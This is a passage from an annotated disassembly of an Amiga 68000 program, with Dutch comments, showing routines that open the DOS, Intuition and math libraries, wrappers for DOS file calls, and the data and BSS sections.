  2252.     BSR    LAB_0025        ;14DA: 6100EF2C
  2253.     LEA    16(A7),A7        ;14DE: 4FEF0010
  2254.     MOVEM.L    (A7)+,D3/A2/A6        ;14E2: 4CDF4408
  2255.     RTS                ;14E6: 4E75
  2256. LAB_0153:
  2257.     LEA    LAB_018B,A0        ;14E8: 41F9000017C0
  2258.     BSR.S    LAB_0154        ;14EE: 610E
  2259.     LEA    LAB_018C,A0        ;14F0: 41F900001814
  2260.     BSR.S    LAB_0154        ;14F6: 6106
  2261.     LEA    LAB_018D,A0        ;14F8: 41F900001868
  2262. LAB_0154:
  2263.     MOVE.L    A0,-(A7)        ;14FE: 2F08
  2264.     MOVEA.L    76(A0),A0        ;1500: 2068004C
  2265.     JSR    (A0)            ;1504: 4E90
  2266.     ADDQ    #4,A7            ;1506: 584F
  2267.     RTS                ;1508: 4E75
  2268.     DC.W    $0000            ;150A
  2269. LAB_0155:
  2270.     JSR    LAB_014A        ;150C: 4EB9000013CC    maak reloc table in A0 aan?
  2271.     JSR    opendos            ;1512: 4EB900001598    open dos library
  2272.     JSR    openmathtrans        ;1518: 4EB900000630    open mathieeedoubtrans library
  2273.     JSR    openmathbas        ;151E: 4EB9000005E8    open mathieeedoubbas.library
  2274.     JSR    openint            ;1524: 4EB9000015CC
  2275.     JSR    LAB_014C        ;152A: 4EB90000141E
  2276.     RTS                ;1530: 4E75
  2277. LAB_0156:
  2278.     JSR    EXT_0009        ;1532: 4EB94EB90000
  2279. LAB_0156_1:
  2280.     MOVE.B    20153(A0),(A2)+        ;1538: 14E84EB9
  2281.     DC.W    $0000            ;153C
  2282.     DC.W    $090A            ;153E
  2283.     JSR    EXT_0002        ;1540: 4EB90000064C
  2284.     JSR    EXT_0001        ;1546: 4EB900000604
  2285.     JSR    EXT_0005        ;154C: 4EB9000015E0
  2286.     JSR    EXT_0004        ;1552: 4EB9000015AC
  2287.     JSR    EXT_0003        ;1558: 4EB900000792
  2288.     RTS                ;155E: 4E75
  2289.  
  2290.  
  2291.     SECTION S_1,CODE
  2292.  
  2293. SECSTRT_1:
  2294.     MOVE.L    4(A7),D0        ;1560: 202F0004
  2295.     MOVEA.L    8(A7),A0        ;1564: 206F0008
  2296.     MOVEA.L    D0,A1            ;1568: 2240
  2297. LAB_0158:
  2298.     TST.B    (A1)+            ;156A: 4A19
  2299.     BNE.S    LAB_0158        ;156C: 66FC
  2300.     SUBQ    #1,A1            ;156E: 5349
  2301. LAB_0159:
  2302.     MOVE.B    (A0)+,(A1)+        ;1570: 12D8
  2303.     BNE.S    LAB_0159        ;1572: 66FC
  2304.     RTS                ;1574: 4E75
  2305.     DC.W    $0000            ;1576
  2306. LAB_015A:
  2307.     MOVEA.L    8(A7),A0        ;1578: 206F0008
  2308.     MOVE.L    4(A7),D0        ;157C: 202F0004
  2309.     MOVEA.L    D0,A1            ;1580: 2240
  2310. LAB_015B:
  2311.     MOVE.B    (A0)+,(A1)+        ;1582: 12D8
  2312.     BNE.S    LAB_015B        ;1584: 66FC
  2313.     RTS                ;1586: 4E75
  2314. LAB_015C:
  2315.     MOVEQ    #-1,D0            ;1588: 70FF
  2316.     MOVEA.L    4(A7),A0        ;158A: 206F0004
  2317. LAB_015D:
  2318.     ADDQ.L    #1,D0            ;158E: 5280
  2319.     TST.B    (A0)+            ;1590: 4A18
  2320.     BNE.S    LAB_015D        ;1592: 66FA
  2321.     RTS                ;1594: 4E75
  2322.     DC.W    $0000            ;1596
  2323. opendos:
  2324.     MOVEA.L    (ABSEXECBASE).W,A6    ;1598: 2C780004
  2325.     LEA    dosname(PC),A1        ;159C: 43FA0022        haal dos.library naam op
  2326.     JSR    _LVOOldOpenLibrary(A6)    ;15A0: 4EAEFE68        open dos, oude manier
  2327.     MOVE.L    D0,dosstore        ;15A4: 23C0000017A4    copieer pointer naar dosstore
  2328.     RTS                ;15AA: 4E75
  2329. closedos:
  2330.     MOVE.L    dosstore,D0        ;15AC: 2039000017A4
  2331.     BEQ.S    LAB_0160        ;15B2: 670A        exit if error
  2332.     MOVEA.L    D0,A1            ;15B4: 2240
  2333.     MOVEA.L    (ABSEXECBASE).W,A6    ;15B6: 2C780004
  2334.     JSR    _LVOCloseLibrary(A6)    ;15BA: 4EAEFE62
  2335. LAB_0160:
  2336.     RTS                ;15BE: 4E75
  2337. dosname:
  2338.     DC.W    $646F            ;15C0        'dos.library',0
  2339.     DC.W    $732E            ;15C2
  2340.     DC.W    $6C69            ;15C4
  2341.     BHI.S    LAB_016A        ;15C6: 6272
  2342.     BSR.S    LAB_016A+2        ;15C8: 6172
  2343.     DC.W    $7900            ;15CA
  2344. openint:
  2345.     MOVEA.L    (ABSEXECBASE).W,A6    ;15CC: 2C780004
  2346.     LEA    intname(PC),A1        ;15D0: 43FA0022        haal intuition.library naam op
  2347.     JSR    _LVOOldOpenLibrary(A6)    ;15D4: 4EAEFE68        open lib
  2348.     MOVE.L    D0,intuitionstore    ;15D8: 23C0000017A8    copieer ptr naar intuitionstorage
  2349.     RTS                ;15DE: 4E75
  2350. closeint:
  2351.     MOVE.L    intuitionstore,D0    ;15E0: 2039000017A8    naar d0
  2352.     BEQ.S    LAB_0164        ;15E6: 670A        exit wanneer error
  2353.     MOVEA.L    D0,A1            ;15E8: 2240        copieer ptr van intuition naar A1
  2354.     MOVEA.L    (ABSEXECBASE).W,A6    ;15EA: 2C780004        
  2355.     JSR    _LVOCloseLibrary(A6)    ;15EE: 4EAEFE62        close library
  2356. LAB_0164:
  2357.     RTS                ;15F2: 4E75
  2358. intname:
  2359.     BVS.S    LAB_016D        ;15F4: 696E        'intuition.library',0
  2360.     MOVEQ    #117,D2            ;15F6: 7475
  2361.     BVS.S    LAB_016F+2        ;15F8: 6974
  2362.     DC.W    $696F            ;15FA
  2363.     BGT.S    LAB_0168        ;15FC: 6E2E
  2364.     DC.W    $6C69            ;15FE
  2365.     BHI.S    LAB_0170+2        ;1600: 6272
  2366.     BSR.S    LAB_0170+4        ;1602: 6172
  2367.     DC.W    $7900            ;1604
  2368.     DC.W    $0000            ;1606
  2369. LAB_0166:
  2370.     MOVEM.L    D2/A6,-(A7)        ;1608: 48E72002
  2371.     MOVEA.L    dosstore,A6        ;160C: 2C79000017A4
  2372.     MOVEM.L    12(A7),D1-D2        ;1612: 4CEF0006000C
  2373.     JSR    AllocDosObject(A6)    ;1618: 4EAEFF1C
  2374.     MOVEM.L    (A7)+,D2/A6        ;161C: 4CDF4004
  2375.     RTS                ;1620: 4E75
  2376.     DC.W    $0000            ;1622
  2377. LAB_0167:
  2378.     MOVE.L    A6,-(A7)        ;1624: 2F0E
  2379.     MOVEA.L    dosstore,A6        ;1626: 2C79000017A4
  2380. LAB_0168:
  2381.     MOVE.L    8(A7),D1        ;162C: 222F0008
  2382.     JSR    _LVOClose(A6)            ;1630: 4EAEFFDC
  2383.     MOVEA.L    (A7)+,A6        ;1634: 2C5F
  2384.     RTS                ;1636: 4E75
  2385. LAB_0169:
  2386.     MOVE.L    A6,-(A7)        ;1638: 2F0E
  2387. LAB_016A:
  2388.     MOVEA.L    dosstore,A6        ;163A: 2C79000017A4
  2389.     MOVE.L    8(A7),D1        ;1640: 222F0008
  2390.     JSR    _LVODCurrentDir(A6)    ;1644: 4EAEFF82
  2391.     MOVEA.L    (A7)+,A6        ;1648: 2C5F
  2392.     RTS                ;164A: 4E75
  2393. LAB_016C:
  2394.     MOVEM.L    D2/A6,-(A7)        ;164C: 48E72002
  2395.     MOVEA.L    dosstore,A6        ;1650: 2C79000017A4
  2396.     MOVEM.L    12(A7),D1-D2        ;1656: 4CEF0006000C
  2397.     JSR    _LVOExNext(A6)        ;165C: 4EAEFF94
  2398.     MOVEM.L    (A7)+,D2/A6        ;1660: 4CDF4004
  2399. LAB_016D:
  2400.     RTS                ;1664: 4E75
  2401.     DC.W    $0000            ;1666
  2402. LAB_016E:
  2403.     MOVEM.L    D2/A6,-(A7)        ;1668: 48E72002
  2404. LAB_016F:
  2405.     MOVEA.L    dosstore,A6        ;166C: 2C79000017A4
  2406. LAB_0170:
  2407.     MOVEM.L    12(A7),D1-D2        ;1672: 4CEF0006000C
  2408.     JSR    _LVOExamine(A6)        ;1678: 4EAEFF9A
  2409.     MOVEM.L    (A7)+,D2/A6        ;167C: 4CDF4004
  2410.     RTS                ;1680: 4E75
  2411.     DC.W    $0000            ;1682
  2412. LAB_0172:
  2413.     MOVE.L    A6,-(A7)        ;1684: 2F0E
  2414.     MOVEA.L    dosstore,A6        ;1686: 2C79000017A4
  2415.     MOVE.L    8(A7),D1        ;168C: 222F0008
  2416.     JSR    _LVOExit(A6)        ;1690: 4EAEFF70
  2417.     MOVEA.L    (A7)+,A6        ;1694: 2C5F
  2418.     RTS                ;1696: 4E75
  2419. LAB_0173:
  2420.     MOVEM.L    D2/A6,-(A7)        ;1698: 48E72002
  2421.     MOVEA.L    dosstore,A6        ;169C: 2C79000017A4
  2422.     MOVEM.L    12(A7),D1-D2        ;16A2: 4CEF0006000C
  2423.     JSR    _LVOFreeDosObject(A6)        ;16A8: 4EAEFF16
  2424.     MOVEM.L    (A7)+,D2/A6        ;16AC: 4CDF4004
  2425.     RTS                ;16B0: 4E75
  2426.     DC.W    $0000            ;16B2
  2427. LAB_0174:
  2428.     MOVE.L    A6,-(A7)        ;16B4: 2F0E
  2429.     MOVEA.L    dosstore,A6        ;16B6: 2C79000017A4
  2430.     JSR    _LVOIoErr(A6)        ;16BC: 4EAEFF7C
  2431.     MOVEA.L    (A7)+,A6        ;16C0: 2C5F
  2432.     RTS                ;16C2: 4E75
  2433. LAB_0175:
  2434.     MOVEM.L    D2/A6,-(A7)        ;16C4: 48E72002
  2435.     MOVEA.L    dosstore,A6        ;16C8: 2C79000017A4
  2436.     MOVEM.L    12(A7),D1-D2        ;16CE: 4CEF0006000C
  2437.     JSR    _LVOLock(A6)            ;16D4: 4EAEFFAC
  2438.     MOVEM.L    (A7)+,D2/A6        ;16D8: 4CDF4004
  2439.     RTS                ;16DC: 4E75
  2440.     DC.W    $0000            ;16DE
  2441. LAB_0176:
  2442.     MOVEM.L    D2/A6,-(A7)        ;16E0: 48E72002
  2443.     MOVEA.L    dosstore,A6        ;16E4: 2C79000017A4
  2444.     MOVEM.L    12(A7),D1-D2        ;16EA: 4CEF0006000C
  2445.     JSR    _LVOOpen(A6)            ;16F0: 4EAEFFE2
  2446.     MOVEM.L    (A7)+,D2/A6        ;16F4: 4CDF4004
  2447.     RTS                ;16F8: 4E75
  2448.     DC.W    $0000            ;16FA
  2449. LAB_0177:
  2450.     MOVEM.L    D2/A6,-(A7)        ;16FC: 48E72002
  2451.     MOVEA.L    dosstore,A6        ;1700: 2C79000017A4
  2452.     MOVEM.L    12(A7),D1-D2        ;1706: 4CEF0006000C
  2453.     JSR    _LVORelabel(A6)        ;170C: 4EAEFD30
  2454.     MOVEM.L    (A7)+,D2/A6        ;1710: 4CDF4004
  2455.     RTS                ;1714: 4E75
  2456.     DC.W    $0000            ;1716
  2457. LAB_0178:
  2458.     MOVE.L    A6,-(A7)        ;1718: 2F0E
  2459.     MOVEA.L    dosstore,A6        ;171A: 2C79000017A4
  2460.     MOVE.L    8(A7),D1        ;1720: 222F0008
  2461.     JSR    _LVOUnlock(A6)            ;1724: 4EAEFFA6
  2462.     MOVEA.L    (A7)+,A6        ;1728: 2C5F
  2463.     RTS                ;172A: 4E75
  2464. LAB_0179:
  2465.     MOVEM.L    D2-D3/A6,-(A7)        ;172C: 48E73002
  2466.     MOVEA.L    dosstore,A6        ;1730: 2C79000017A4
  2467.     MOVEM.L    16(A7),D1-D3        ;1736: 4CEF000E0010
  2468.     JSR    _LVOWrite(A6)            ;173C: 4EAEFFD0
  2469.     MOVEM.L    (A7)+,D2-D3/A6        ;1740: 4CDF400C
  2470.     RTS                ;1744: 4E75
  2471.     DC.W    $0000            ;1746
  2472. LAB_017A:
  2473.     MOVE.L    A6,-(A7)        ;1748: 2F0E
  2474.     MOVEA.L    intuitionstore,A6    ;174A: 2C79000017A8
  2475.     MOVEM.L    8(A7),A0-A1        ;1750: 4CEF03000008
  2476.     JSR    _LVOLock(A6)            ;1756: 4EAEFFAC
  2477.     MOVEA.L    (A7)+,A6        ;175A: 2C5F
  2478.     RTS                ;175C: 4E75
  2479.     DC.W    $0000            ;175E
  2480.  
  2481.  
  2482.     SECTION S_2,DATA
  2483.  
  2484. SECSTRT_2:
  2485.     DS.W    2            ;1760
  2486. LAB_017C:
  2487.     DS.W    2            ;1764
  2488. LAB_017D:
  2489.     DS.W    3            ;1768
  2490.     DC.W    $03C3            ;176E
  2491. LAB_017E:
  2492.     DS.W    2            ;1770
  2493. LAB_017F:
  2494.     DS.W    2            ;1774
  2495. LAB_0180:
  2496.     DS.W    2            ;1778
  2497. LAB_0181:
  2498.     DC.W    $2330            ;177C
  2499.     DC.W    $2D20            ;177E
  2500.     DC.W    $2B00            ;1780
  2501.     DS.W    1            ;1782
  2502. LAB_0182:
  2503.     DC.W    $3031            ;1784
  2504.     DC.W    $3233            ;1786
  2505.     DC.W    $3435            ;1788
  2506.     DC.W    $3637            ;178A
  2507.     DC.W    $3839            ;178C
  2508.     DC.W    $6162            ;178E
  2509.     DC.W    $6364            ;1790
  2510.     DC.W    $6566            ;1792
  2511. LAB_0183:
  2512.     DC.W    $3031            ;1794
  2513.     DC.W    $3233            ;1796
  2514.     DC.W    $3435            ;1798
  2515.     DC.W    $3637            ;179A
  2516.     DC.W    $3839            ;179C
  2517.     DC.W    $4142            ;179E
  2518.     DC.W    $4344            ;17A0
  2519.     DC.W    $4546            ;17A2
  2520. dosstore:
  2521.     DS.W    2            ;17A4
  2522. intuitionstore:
  2523.     DS.W    2            ;17A8
  2524. mathbasstore:
  2525.     DS.W    2            ;17AC
  2526. mathtransstore:
  2527.     DS.W    2            ;17B0
  2528. LAB_0188:
  2529.     DS.W    2            ;17B4
  2530. LAB_0189:
  2531.     DS.W    2            ;17B8
  2532. LAB_018A:
  2533.     DS.W    2            ;17BC
  2534. LAB_018B:
  2535.     DS.W    9            ;17C0
  2536.     DC.W    $0002            ;17D2
  2537.     DS.W    32            ;17D4
  2538. LAB_018C:
  2539.     DS.W    9            ;1814
  2540.     DC.W    $0001            ;1826
  2541.     DS.W    32            ;1828
  2542. LAB_018D:
  2543.     DS.W    9            ;1868
  2544.     DC.W    $0002            ;187A
  2545.     DS.W    32            ;187C
  2546.  
  2547.  
  2548.     SECTION S_3,BSS 
  2549.  
  2550. SECSTRT_3:
  2551.     DS.L    1            ;18BC
  2552. LAB_018F:
  2553.     DS.L    1            ;18C0
  2554.     END
  2555.